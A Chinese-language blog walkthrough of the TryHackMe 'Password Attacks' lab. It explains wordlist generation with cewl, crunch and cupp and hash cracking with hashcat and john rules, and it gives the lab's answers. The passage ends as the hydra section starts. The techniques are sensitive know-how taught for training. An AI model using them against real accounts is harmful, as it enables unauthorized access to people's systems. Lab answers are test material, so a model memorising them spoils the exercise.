【THM】Password Attacks(密码攻击)-红队

发布时间 2023-05-02 16:57:46作者: Hekeats

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/passwordattacks

本文相关内容:本文介绍了针对各种服务和场景执行成功的密码攻击的基本技术。

image

简介

本文主要介绍密码攻击的类型以及密码攻击所使用的技术,并且我们将讨论获取和生成自定义密码列表的一些方法。

以下是我们接下来将讨论的主题:

  • 密码攻击技术的概念;
  • 默认密码、弱密码、已泄露密码、组合单词列表和用户名单词列表;
  • Keyspace技术和CUPP;
  • 离线密码攻击;
  • 在线密码攻击;
  • 密码喷洒攻击。

什么是密码?

密码通常会被用作一种个人访问计算机系统或访问应用程序的身份验证方法。通过使用密码,理论上可以确保某个帐户的所有者会成为唯一有权对该帐户进行访问的人;但是,如果重要的密码在无意间被共享或落入恶意者之手,则有可能发生对给定系统的未经授权的更改操作。绕过密码机制的未经授权的访问行为,可能会导致相关计算机系统的整体状态和健康状况发生很大变化,在严重情况下还会直接损坏相关计算机的文件系统。一个密码通常可由字母、数字和符号等进行组合而形成,而如何生成密码则主要取决于用户的自定义设置。

多个可能有效的密码的集合通常被称为字典或单词列表。在各种公开披露的密码数据泄露事件中,我们通常会发现有部分用户会使用复杂度较低且易于猜测的密码;例如,这些易于猜测的密码可能是password123456111111等等。因此,攻击者在对目标机器或服务进行密码攻击并最终猜测到有效密码时,可能不会花费很长时间。对于用户而言,选择使用强密码会是一个很好的策略,这可以使得密码变得难以猜测或破解;所谓的强密码不应该是常用的或者能够在密码字典中被找到的密码,强密码的长度至少应该是8个字符,并且还应该包含大写字母、小写字母、数字、符号(如*&^%$#@)。

tips:以下链接内容描述了前100个最常见的密码- https://techlabuzz.com/top-100-most-common-passwords/

有时,目标公司有自己的密码策略,并会强制用户在创建密码时遵循公司所规定的密码设置策略,这有助于确保用户不会在其组织范围内使用普通密码或弱密码,并有助于限制暴力破解等攻击向量(即攻击手法);例如,公司可能会要求密码长度必须为8个字符或更多,必须包括字母、数字和至少一个符号;但是,如果网络攻击者发现了目标公司的密码策略,那么攻击者仍然可以生成能够满足特定密码策略的密码列表。

密码是否具有安全性?

密码是用于访问在线帐户或目标计算机系统的一种保护机制,基于密码的身份验证方法普遍被应用于访问个人系统和私有系统,人们使用密码的主要目的是为了保证安全性,所以,重要的密码不应该随意地与他人共享。

那么,使用密码有多安全?这个问题取决于多种因素,通常情况下,密码会被存储在文件系统或数据库中,所以如何保证这些已存储密码的安全就至关重要。

一方面,有些公司会将密码存储在明文文件中,比如2014年索尼的泄密事件,这是非常没有安全意识的行为,如果目标公司选择将密码进行明文存储,那么当网络攻击者访问到存储密码的文件系统时,就可以很容易地获取和重用这些密码。

另一方面,有很多公司会使用加密技术(如哈希函数或其他加密算法)对密码进行加密,然后再存储在系统中,在这种情况下,即使攻击者成功访问到了目标系统,也可能会很难破解这些被加密的密码。

密码攻击技术的概念

概念

顾名思义,密码攻击技术是指那些可用于执行密码攻击的各种各样的技术,例如使用字典、进行暴力破解、基于密码规则、尝试密码猜解等,在这个过程中,攻击者可能需要与目标机器进行通信以得到有效密码,执行密码攻击的最终目的是为了实现对目标机器的未授权访问。

密码破解vs密码猜解

密码破解是一种将加密数据转换为明文数据(间接转换),以获得有效密码的技术,攻击者可以从被攻破的计算机上获取到加密的密码值,或者在目标网络传输数据时窃听到加密的密码值;一旦成功获得这些经过加密的密码,攻击者就可以基于密码攻击技术使用各种工具来破解被加密的密码。

密码破解和密码猜解都是信息安全专业人员经常会使用的方法,但是这两者有着不同的含义。密码破解被认为是渗透测试的传统技术之一,它的主要目标是让攻击者使用有效密码来升级到更高的访问权限,从而可以更好地渗透目标计算机系统或网络;而密码猜解则是一种基于字典针对在线协议和服务进行密码验证的方法。

以下是密码破解和密码猜解的主要区别(Password Cracking vs Password Guessing):

  • 密码破解是在本地机器上或者在攻击者所控制的系统上开始执行的一种技术,此技术将针对加密的密码值进行破解,从而得到对应的明文密码;
  • 密码猜解是一种针对在线协议和服务的技术,它被认为是耗时较长的,并且这种技术将可能导致很多失败的登录尝试,这为目标机器生成对应的日志记录提供了机会;在基于web的系统上进行密码猜解攻击,通常会需要攻击者为每次密码尝试都发送一个新的请求,这种行为很容易被目标所检测到,如果目标系统的设计和配置具有一定安全性,那么这种密码猜解行为将可能导致攻击者所使用的帐户被目标强制锁定。

答题

阅读本小节内容,回答以下问题。

image

密码分析1-默认密码、弱密码、已泄露密码、组合单词列表和用户名单词列表

在渗透测试中,拥有一个良好的单词列表是成功进行密码攻击的关键,所以了解如何生成用户名列表和密码列表是很重要的。在本节中,我们将讨论应该如何创建目标用户名列表和密码列表,我们还将讨论其他主题,包括默认密码、弱密码、已泄露的密码等。

默认密码

在执行密码攻击之前,我们有必要针对目标服务尝试使用几个常用的默认密码。

计算机设备制造商通常会为交换机、防火墙、路由器等产品和设备设置一个默认密码。在某些情况下,客户会选择不更改计算机设备的默认密码,这会使得目标系统更容易受到密码攻击;因此,我们可以尝试输入admin:adminadmin:123456等默认凭据。

如果我们知道目标设备是什么,我们就可以去查找和目标设备相关的默认密码并尝试使用它们。例如,假设目标服务器是Tomcat,它是一个轻量级的开源Java应用服务器,在这种情况下,我们可以尝试两个Tomcat可能使用的默认密码:admin:admintomcat:admin

以下是一些能够查询各种计算机产品或设备的默认密码的网站列表:

弱密码

一些网络安全专业人士会专门收集弱密码并生成对应的列表,他们经常会将很多弱密码组合成一个大的单词列表。

所谓的弱密码列表是基于网络安全人员的经验和他们在渗透测试中看到的内容而生成的;此外,这些弱密码列表还可能会包含已公开发布的被泄露的密码。

以下是一些常见的弱密码列表:

已泄露密码

密码或哈希值等敏感数据可能会被公开披露或出售,这些被公开或私下泄露的信息通常会被称为“dumps(转储文件)”。

根据具体转储的内容,攻击者可能还需要从转储数据中提取密码,例如,在某些情况下,转储可能只包含密码的hash值,这就需要我们进行密码破解才能得到对应的纯文本明文密码。以下是一个包含常见的弱密码和已泄露密码的列表合集,具体包括webhostelitehackerhak5HotmailPhpBB等公司所泄露的数据:

组合单词列表

假设我们有不止一个密码单词列表,那么,我们就可以将这些密码单词列表合并到一个大文件中,如下所示,我们将使用cat命令来完成列表组合:

cat file1.txt file2.txt file3.txt > combined_list.txt

如果我们要清理刚才所生成的组合列表以删除那些重复的密码单词,我们还可以使用sort命令和uniq命令,如下所示:

sort combined_list.txt | uniq -u > cleaned_combined_list.txt

自定义的单词列表

自定义的密码列表是增加找到有效凭据机会的最佳方法之一,在渗透测试中,我们可以根据从目标网站获取到的数据信息来创建自定义的密码列表。通常,目标公司的网站会包含该公司及其员工的一些重要信息,如电子邮件和员工姓名等;此外,目标网站可能包含由公司所提供的特定关键字,如公司的产品名称和服务名称,这些信息也可能会被用于设置目标公司的员工密码。

我们可以使用像Cewl这样的工具来有效地抓取目标网站信息并提取相关的字符串或者关键字。Cewl是一个强大的工具,它可以用于帮助我们生成特定于目标公司或目标系统的密码单词列表。例子如下:

#cewl命令行工具-Custom Word List generator-通用单词列表生成器
#此工具的Github地址为:https://github.com/digininja/CeWL

user@thm$ cewl -w list.txt -d 5 -m 5 http://thm.labs

关于上述示例命令的解析:

  • -w:将内容写入(write)指定文件,在示例中是list.txt。
  • -d 5:指定网络爬虫/蜘蛛将要爬行的深度级别(默认级别为2)。
  • -m 5:收集包含5个或更多字符的字符串(密码单词)。
  • http://thm.labs:指定将要爬取的目标URL。

作为以上示例的结果,我们现在应该会得到一个适当大小的密码单词列表,它是基于目标公司的一些关键词而生成的,如公司姓名、公司地理位置以及公司的业务术语等。类似地,我们也可以通过创建单词列表来对用户名进行模糊测试。

我们可以模仿上述示例,针对https://clinic.thmredteam.com/使用cewl来爬取相关的关键词,并生成最小单词长度为8的单词列表。请注意,我们将在下文中使用这个单词列表。

cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/

#将生成的单词列表保存为clinic.lst或者clinic.txt都行

用户名单词列表

通过信息枚举来收集员工的姓名是渗透测试必不可少的步骤,我们可以从目标网站上获取相关信息并生成对应的用户名列表。

在下面的示例中,假设我们已知{first name} {last name}(例如:John Smith)信息,然后我们就可以基于一定的规则来生成用户名单词:

  • {first name}: john
  • {last name}:smith
  • {first name}{last name}:johnsmith
  • {last name}{first name}:smithjohn
  • 第一列信息只取首字母 {first name}{last name}:jsmith
  • 第一列信息只取首字母 {last name}{first name}:sjohn
  • 第一列信息只取首字母 {first name}.j.smith
  • 第一列信息只取首字母 {first name}-j-smith
  • 等等

幸运的是,有一个工具username_generator可以帮助我们创建一个包含大多数可能组合的用户名列表,只要我们提供用户的first namelast name即可。

user@thm$ git clone https://github.com/therodri2/username_generator.git
Cloning into 'username_generator'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (9/9), done.

user@thm$ cd username_generator

我们可以使用命令python3 username_generator.py -h显示这个工具的帮助信息和可选参数。

#用户名字典生成器:username_generator.py

user@thm$ python3 username_generator.py -h
usage: username_generator.py [-h] -w wordlist [-u]

Python script to generate user lists for bruteforcing!

optional arguments:
  -h, --help            show this help message and exit
  -w wordlist, --wordlist wordlist
                        Specify path to the wordlist
  -u, --uppercase       Also produce uppercase permutations. Disabled by default

现在让我们创建一个用户名单词列表,我们可以先在一个文本文件中包含John Smith的全名,然后运行工具来生成一个包含给定全名的可能组合的用户名列表。

user@thm$ echo "John Smith" > users.lst
user@thm$ python3 username_generator.py -w users.lst
usage: username_generator.py [-h] -w wordlist [-u]
john
smith
j.smith
j-smith
j_smith
j+smith
jsmith
smithjohn

tips:以上是使用自定义用户名生成器的一个简单示例。

答题

阅读本小节内容,访问https://default-password.info/并查找以下问题中的联网设备的默认密码。

image

image

密码分析2-Keyspace技术和CUPP

Keyspace技术

生成单词列表的另一种方法是使用密钥-空间技术,基于这种技术,我们可以在生成的单词列表中指定一系列字符、数字和符号。

Keyspace技术的基本步骤是:

  1. 确定密钥的类型和长度,计算出所有可能的密钥数量,这就是密钥空间(Keyspace)的大小。
  2. 按一定的搜索策略遍历密钥空间中的各个密钥。
  3. 使用每个密钥对密文进行解密。
  4. 检查解密结果是否是有意义的明文,如果是,则说明找到正确密钥,即破解成功。
  5. 如果遍历完所有密钥仍未破解,则可能需要重新评估破解策略。

Keyspace技术的效率可能取决于以下几个因素:

  • 密钥空间大小-密钥长度越长,密钥空间越大,密码破解的效率就越低。
  • 搜索策略-有效的搜索策略可以提高破解效率,缩小密钥空间。
  • 检查明文的算法-检查算法越复杂,破解效率越低,简单的检查方法(包括人工和自动化)通常会有更高的效率。
  • 计算能力-计算机的计算能力越强,遍历密钥空间的速度越快,破解效率越高。
  • 此外,密文的类型(如何加密)以及密文的长度也会影响破解效率。

我们可以使用crunch工具,它是创建离线单词列表的众多强大工具之一,通过使用crunch,我们可以指定许多选项,如minmax

user@thm$ crunch -h
crunch version 3.6

Crunch can create a wordlist based on the criteria you specify.#Crunch可以根据你指定的条件创建单词列表。
The output from crunch can be sent to the screen, file, or to another program.#crunch的输出可以被发送到屏幕、文件或其他程序。

Usage: crunch   [options]
where min and max are numbers

Please refer to the man page for instructions and examples on how to use crunch.

下面的示例会创建一个包含2个字符的所有可能组合的单词列表,该列表中单词的内容范围是0-4a-d,我们可以使用-o参数将输出结果保存到指定的文件中。

user@thm$ crunch 2 2 01234abcd -o crunch.txt
Crunch will now generate the following amount of data: 243 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: xx
crunch: 100% completed generating output

下面是示例输出的一个片段(并非全部内容):

user@thm$ cat crunch.txt
00
01
02
03
04
0a
0b
0c
0d
10
.
.
.
cb
cc
cd
d0
d1
d2
d3
d4
da
db
dc
dd

值得注意的是,crunch可以根据你所指定的单词长度和组合选项来生成一个非常大的单词列表文本文件。例如,下面的命令会创建一个最小和最大长度为8个字符的列表,该单词列表的内容范围是数字0-9、小写字母a-f、大写字母A-F

crunch 8 8 0123456789abcdefABCDEF -o crunch.txt
#该命令所生成的文件大小为459gb,会包含54875873536个单词。

crunch工具还允许我们使用-t选项,该选项可以指定字符集来组合我们所选择的单词;在实际使用-t时,我们往往会搭配以下选项来帮助我们创建不同的单词组合:

  • @ - 表示小写字母;
  • , - 表示大写字母;
  • % - 表示数字;
  • ^ - 表示包括空格在内的特殊字符。

例如,如果我们知道密码的一部分,知道它将以pass作为开头,并且后面会跟两个数字,那么我们就可以使用上面提及的%符号来进行数字匹配;最终,我们将生成一个wordlist(单词列表),在此列表中每个单词的形式都会是pass后面跟着两个数字:

user@thm$  crunch 6 6 -t pass%%
Crunch will now generate the following amount of data: 700 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 100
pass00
pass01
pass02
pass03

CUPP-Common User Passwords Profiler(通用用户密码分析器)

cupp是一个用Python编写的自动化交互式工具,可用于创建自定义单词列表。如果你已经知道特定目标的一些详细信息,例如相关用户的生日、宠物名、公司名称等等,那么此时cupp对你来说可能会是一个有用的工具,因为它可以根据这些已知信息来生成密码列表。

cupp还支持1337/leet模式,此模式可将字母aietosgz替换为数字(例如,将a替换为4或将i替换为1)。

有关cupp的更多信息,请访问相关的GitHub存储库:https://github.com/Mebus/cupp

要运行cupp工具,我们需要先安装python3,然后使用git将cupp的GitHub存储库克隆到你的本地机器上,如下所示:

user@thm$  git clone https://github.com/Mebus/cupp.git
Cloning into 'cupp'...
remote: Enumerating objects: 237, done.
remote: Total 237 (delta 0), reused 0 (delta 0), pack-reused 237
Receiving objects: 100% (237/237), 2.14 MiB | 1.32 MiB/s, done.
Resolving deltas: 100% (125/125), done.

现在,我们将当前目录更改为cupp,然后运行python3 cupp.py(或加上-h)查看cupp工具的可用选项。

user@thm$  python3 cupp.py
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]

usage: cupp.py [-h] [-i | -w FILENAME | -l | -a | -v] [-q]

Common User Passwords Profiler

optional arguments:
  -h, --help         show this help message and exit
  -i, --interactive  Interactive questions for user password profiling
  -w FILENAME        Use this option to improve existing dictionary, or WyD.pl output to make some pwnsauce
  -l                 Download huge wordlists from repository
  -a                 Parse default usernames and passwords directly from Alecto DB. Project Alecto uses purified
                     databases of Phenoelit and CIRT which were merged and enhanced
  -v, --version      Show the version of this program.
  -q, --quiet        Quiet mode (don't print banner)

cupp支持交互模式(-i),在这种模式下,它会询问一些有关目标的问题,并会根据你所提供的答案来创建自定义单词列表,如果你没有给定字段问题的答案,那么可以选择按下Enter键跳过。

user@thm$  python3 cupp.py -i
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: 
> Surname: 
> Nickname: 
> Birthdate (DDMMYYYY): 


> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name:
> Company name:


> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to .....txt, counting ..... words.
> Hyperspeed Print? (Y/n)

ِ经过上述操作,cupp工具将生成一个自定义单词列表,该列表将包含基于你所选择的条目而生成的不同数量的单词,你可以选择将预先创建的单词列表下载到你的机器上:

user@thm$  python3 cupp.py -l
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


        Choose the section you want to download:

     1   Moby            14      french          27      places
     2   afrikaans       15      german          28      polish
     3   american        16      hindi           29      random
     4   aussie          17      hungarian       30      religion
     5   chinese         18      italian         31      russian
     6   computer        19      japanese        32      science
     7   croatian        20      latin           33      spanish
     8   czech           21      literature      34      swahili
     9   danish          22      movieTV         35      swedish
    10   databases       23      music           36      turkish
    11   dictionaries    24      names           37      yiddish
    12   dutch           25      net             38      exit program
    13   finnish         26      norwegian


        Files will be downloaded from http://ftp.funet.fi/pub/unix/security/passwd/crack/dictionaries/ repository

        Tip: After downloading wordlist, you can improve it with -w option

> Enter number:

你可以从以上示例中选择预先的单词列表,这可以帮助我们生成最终用于暴力破解的密码单词列表。

最后,我们还可以使用cupp的-a选项,此选项可用来获取由Alecto数据库所提供的默认用户名和密码。

user@thm$  python3 cupp.py -a
 ___________
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\
              ||--|| *      [ Muris Kurgas | j0rgan@remote-exploit.org ]
                            [ Mebus | https://github.com/Mebus/]


[+] Checking if alectodb is not present...
[+] Downloading alectodb.csv.gz from https://github.com/yangbh/Hammer/raw/b0446396e8d67a7d4e53d6666026e078262e5bab/lib/cupp/alectodb.csv.gz ...

[+] Exporting to alectodb-usernames.txt and alectodb-passwords.txt
[+] Done.

答题

阅读本小节内容,回答以下问题。

tips:在使用crunch的-t选项时,可用^表示特殊符号。

image

离线密码攻击1-密码字典和暴力破解

字典攻击

字典攻击是一种通过使用给定的大量单词或短语来猜测有效密码的技术。字典攻击完全依赖于预先收集的单词列表(字典),这些单词列表(字典)都是先前生成的或者在网络上找到的。

为你的目标选择或创建最佳的候选单词列表(字典)是很重要的,这有助于我们成功地针对目标进行密码攻击。我们可使用前文提及的关于生成单词列表的知识来探索如何执行字典攻击,接下来,我们将展示如何使用hashcat来进行离线字典攻击,hashcat是破解哈希的流行工具之一。

假设我们获得了下面的哈希值f806fc5a2a0d5ba2471600758452799c,我们希望执行字典攻击来进行hash破解。在开始破解之前,我们至少需要知道以下几点:

  1. 已知的hash值是什么类型?
  2. 我们将使用什么单词列表(字典)来进行hash破解?或者我们可以选择哪种攻击模式?

为了识别hash值的类型,我们可以使用haitihashid之类的工具。对于本例中的hash值,hashid认为其最可能使用的哈希算法是MD5,所以我们将使用以下命令进行hash破解:

user@machine$ hashcat -a 0 -m 0 f806fc5a2a0d5ba2471600758452799c /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
f806fc5a2a0d5ba2471600758452799c:rockyou

Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: f806fc5a2a0d5ba2471600758452799c
Time.Started.....: Mon Oct 11 08:20:50 2021 (0 secs)
Time.Estimated...: Mon Oct 11 08:20:50 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   114.1 kH/s (0.02ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 40/40 (100.00%)
Rejected.........: 0/40 (0.00%)
Restore.Point....: 0/40 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: 123456 -> 123123

Started: Mon Oct 11 08:20:49 2021
Stopped: Mon Oct 11 08:20:52 2021

注意:破解哈希值的时间将取决于你所使用的硬件(CPU和GPU)。

我们可对以上示例命令进行分析:

  • -a 0:设置hashcat的攻击方式为字典攻击。
  • -m 0:指定hash类型编号,MD5所对应的hashcat编号是0;对于其他类型的hash值,可运行hashcat -h命令获取该工具所支持破解的哈希类型列表。
  • f806fc5a2a0d5ba2471600758452799c:此处可以像上述示例那样指定单个哈希值,也可以指定包含一个或多个哈希值的文件。
  • /usr/share/wordlists/rockyou.txt:我们用于辅助密码攻击的单词列表/字典文件。

如果我们指定的哈希值被成功破解了,我们可以选择附加使用--show选项来显示经过破解所得到的值:

user@machine$ hashcat -a 0 -m 0 F806FC5A2A0D5BA2471600758452799C /usr/share/wordlists/rockyou.txt --show
f806fc5a2a0d5ba2471600758452799c:rockyou

如上所示,以上示例经过hash破解得到的值为:rockyou

暴力破解攻击

暴力破解是攻击者用于实现未经授权就访问个人帐户的一种常见攻击方法,该方法将通过发送标准密码组合来猜测目标用户帐户的有效密码。字典攻击和暴力破解攻击的主要区别在于——字典攻击使用的是包含所有可能的密码的单词列表;相比之下,暴力破解将针对目标尝试一个或多个字符的所有组合。

假设现在有一个需要实现未授权访问的银行帐户,我们知道该帐户的PIN(个人身份识别码)将包含4位数字作为密码,那么我们就可以执行从00009999的暴力破解攻击,以通过猜测得到有效的PIN。在有些情况下,我们还可以将数字或字母序列添加到列表中的现有单词中,例如admin0admin1、…admin9999

针对暴力破解攻击,hashcat具有可用于生成你自己的密码组合的字符集选项,这些字符集可以通过hashcat的帮助选项找到。

user@machine$ hashcat --help
 ? | Charset
 ===+=========
  l | abcdefghijklmnopqrstuvwxyz
  u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
  d | 0123456789
  h | 0123456789abcdef
  H | 0123456789ABCDEF
  s |  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
  a | ?l?u?d?s
  b | 0x00 - 0xff

下面的示例展示了如何使用hashcat针对暴力破解攻击模式来生成我们所选择的密码组合。

#针对以下命令的改进:hashcat -a 3 ?d?d?d?d --stdout | > passwords.txt
user@machine$ hashcat -a 3 ?d?d?d?d --stdout
1234
0234
2234
3234
9234
4234
5234
8234
7234
6234
..
..

我们可对以上示例命令进行分析:

  • -a 3:设置hashcat的攻击方式为暴力破解攻击。
  • ?d?d?d?d?d的含义是告诉hashcat将使用一个数字(digit);在此示例中,?d?d?d?d表示从0000开始到9999结束的四位数字。
  • --stdout: 将命令执行结果打印到终端界面。

现在,让我们应用上述示例中的思路来破解下面的MD5散列(hash)值:05A5CF06982BA7892ED2A6D38FE832D6(已知这是一个四位数的PIN密码)。

user@machine$ hashcat -a 3 -m 0 05A5CF06982BA7892ED2A6D38FE832D6 ?d?d?d?d
05a5cf06982ba7892ed2a6d38fe832d6:2021

Session..........: hashcat
Status...........: Cracked
Hash.Name........: MD5
Hash.Target......: 05a5cf06982ba7892ed2a6d38fe832d6
Time.Started.....: Mon Oct 11 10:54:06 2021 (0 secs)
Time.Estimated...: Mon Oct 11 10:54:06 2021 (0 secs)
Guess.Mask.......: ?d?d?d?d [4]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 16253.6 kH/s (0.10ms) @ Accel:1024 Loops:10 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10000/10000 (100.00%)
Rejected.........: 0/10000 (0.00%)
Restore.Point....: 0/1000 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-10 Iteration:0-10
Candidates.#1....: 1234 -> 6764

Started: Mon Oct 11 10:54:05 2021
Stopped: Mon Oct 11 10:54:08 2021

答题

使用hashid或者haiti工具来分析以下hash值的类型:8d6e34f987851aa599257d3831a1af040886842f

haiti '8d6e34f987851aa599257d3831a1af040886842f'

image

给定hash值的类型最可能为:SHA-1(此类型对应的hashcat编号是100)

使用hashcat工具和rockyou.txt字典对刚才所识别的hash值进行hash破解:

hashcat -a 0 -m 100 8d6e34f987851aa599257d3831a1af040886842f /usr/share/wordlists/rockyou.txt

image

hash破解的结果为:sunshine

对以下MD5哈希值执行暴力破解:e48e13207341b6bffb7fb1622282247b(已知这是一个四位数的密码,[0-9][0-9][0-9][0-9])。

hashcat -a 3 -m 0 e48e13207341b6bffb7fb1622282247b ?d?d?d?d
#-a 3:表示暴力破解模式
#-m 0:指定hash类型编号,MD5所对应的hashcat编号是0

image

对给定hash值进行暴力破解的结果是:1337

image

离线密码攻击2-基于密码规则

基于规则(Rule-Based)的攻击

基于规则的密码攻击也被称为混合(hybrid)攻击,这种密码攻击将假定攻击者对目标所采取的密码策略有所了解;此处所说的规则将应用于在给定密码策略的指导方针下创建密码,理论上这只会生成符合密码策略的密码。

在生成符合密码策略的密码时,使用已有的单词列表可能很有用,例如,操纵或篡改基于password的密码:p@sswordPa$$wordPassw0rd等。

对于这种攻击,我们可以使用hashcatJohn the ripper来扩展单词列表。此处我们选择johnJohn the ripper有一个包含规则集的配置文件,它的文件路径是/etc/john/john.conf/opt/john/john.conf,这取决于你的Linux的发行版本或者john的安装方式。

通过阅读john.conf配置文件并查找List.Rules,我们可以查看这个工具(john)所有可用的规则:

user@machine$ cat /etc/john/john.conf|grep "List.Rules:" | cut -d"." -f3 | cut -d":" -f2 | cut -d"]" -f1 | awk NF
JumboSingle
o1
o2
i1
i2
o1
i1
o2
i2
best64
d3ad0ne
dive
InsidePro
T0XlC
rockyou-30000
specific
ShiftToggle
Split
Single
Extra
OldOffice
Single-Extra
Wordlist
ShiftToggle
Multiword
best64
Jumbo
KoreLogic
T9

image

我们可以看到,在使用john时,有许多可供我们选择的规则。

接下来,让我们先创建一个wordlist(单词列表),其中只有一个字符串tryhackme,然后我们尝试使用john中的best64规则来扩展我们所创建的单词列表,这个best64规则包含了最好的64个内置john规则。

#/tmp/single-password-list.txt的内容只有一个字符串:tryhackme

user@machine$ john --wordlist=/tmp/single-password-list.txt --rules=best64 --stdout | wc -l
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
76p 0:00:00:00 100.00% (2021-10-11 13:42) 1266p/s pordpo
76

我们可对以上示例命令进行分析:

  • --wordlist=:指定将要扩展的单词列表或字典文件。
  • --rules:指定要使用的一个规则或多个规则。
  • --stdout:打印输出结果到终端界面中。
  • |wc -l:计算这条John命令生成了多少行内容。

通过运行上述命令,我们可以将密码单词列表从包含1个单词扩展到包含76个单词。

现在让我们来看看另一个规则,同时也是john中最好的规则之一:KoreLogic

KoreLogic将使用各种内置和自定义的规则来生成复杂的密码单词列表,现在让我们使用此规则并检查Tryh@ckm3是否会出现在我们所生成的单词列表中。

tips:如果想了解关于KoreLogic规则的更多信息,请访问以下网站—— https://contest-2010.korelogic.com/rules.html

#/tmp/single-password-list.txt的内容只有一个字符串:tryhackme

user@machine$ john --wordlist=single-password-list.txt --rules=KoreLogic --stdout |grep "Tryh@ckm3"
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
Tryh@ckm3
7089833p 0:00:00:02 100.00% (2021-10-11 13:56) 3016Kp/s tryhackme999999

根据上述输出结果所示,我们所生成的单词列表中包含了tryhackme单词的指定复杂版本(即Tryh@ckm3)。

在实际进行基于规则的密码攻击时,建议查看所有的john规则,并从中找到适合你使用的规则;这种将多个规则组合应用于已有的单词列表的方法,能够帮助我们扩展密码单词列表以增加找到有效密码的机会。

自定义规则

我们可以基于John the ripper构建自己的规则,并可在使用john破解哈希时应用该自定义规则,或者也可以基于自定义规则来构建自定义单词列表。

假设我们想要基于已有的字典创建一个自定义单词列表,并实现对原始字典进行自定义修改;在这个例子中,我们的目标是在每个密码单词的开头添加特殊字符(例如:!@#$*&),并在密码单词末尾添加数字0-9。具体格式如下所示:

[symbols]word[0-9]

我们可以将我们的自定义规则添加到john.conf配置文件内容的末尾:

user@machine$ sudo vi /etc/john/john.conf 
#密码规则的所在的行数是696行~ 1240行。
[List.Rules:THM-Password-Attacks] 
Az"[0-9]" ^[!@#$]

和以上示例相关的分析如下:

  • [List.Rules:THM-Password-Attacks]:指定自定义规则的名称“THM-Password-Attacks”。
  • Az: 获取每个原始密码单词并将你定义的字符附加在其后面。
  • "[0-9]":在每个原始密码单词的末尾添加一个数字(从09);如果想添加两位数字,可以使用"[0-9][0-9]",以此类推。
  • ^[!@#$]:在每个原始密码单词的开头添加一个特殊字符(范围是!@#$),^表示原字典文件中每行或者每个单词的开头;注意,如果将^更改为$则会将后面附加的特殊字符添加到原字典文件中的每行/每个单词的末尾。

现在让我们创建一个包含单个密码单词"password"的文件,然后看看如何使用上面的自定义规则来扩展单词列表。

user@machine$ echo "password" > /tmp/single.lst

在扩展单词列表时,我们可以使用--rules选项在John命令中包含我们所创建的自定义规则的名称,然后选择在终端界面中显示结果(使用--stdout),具体过程如下所示:

#/tmp/single.lst的内容只有一个字符串:password

user@machine$ john --wordlist=/tmp/single.lst --rules=THM-Password-Attacks --stdout
Using default input encoding: UTF-8
!password0
@password0
#password0
$password0

答题

阅读本小节的内容,回答以下问题。

image

部署目标虚拟机

在本文相关的TryHackMe实验房间中部署目标虚拟机,这个虚拟机上运行着各种在线服务,我们的任务是使用自定义单词列表针对目标机器进行密码攻击,然后找到有效的凭据。

image

我们可以选择使用cewl工具,并基于https://clinic.thmredteam.com/网站来生成自定义单词列表:

tips:下文的实验任务中给出了目标的email地址-pittman@clinic.thmredteam.com

#针对https://clinic.thmredteam.com/网站,使用cewl来爬取相关的关键词,并生成最小单词长度为8的单词列表。
#之所以爬取https://clinic.thmredteam.com/,是因为下文的实验任务中给出了目标的email地址-pittman@clinic.thmredteam.com。

cewl -m 8 -w clinic.lst https://clinic.thmredteam.com/

#-m 8:收集包含8个或更多字符的字符串(密码单词)。
#-w:将内容写入(write)指定文件,在此处是clinic.lst。
#-d 2:指定网络爬虫/蜘蛛将要爬行的深度级别(默认级别为2,可以不指定,此处就没有使用-d选项)。
#将生成的单词列表保存为clinic.lst或者clinic.txt都行

image

在线密码攻击

在线密码攻击包括针对网络服务(这些服务使用了用户名和密码认证机制)进行密码猜测,如HTTP、SSH、VNC、FTP、SNMP、POP3等服务。

本节将展示如何使用hydra工具进行在线密码攻击,hydra是一种可用于攻击各种网络服务登录机制的常用工具。

Hydra

Hydra能够支持攻击的网络服务很广泛。

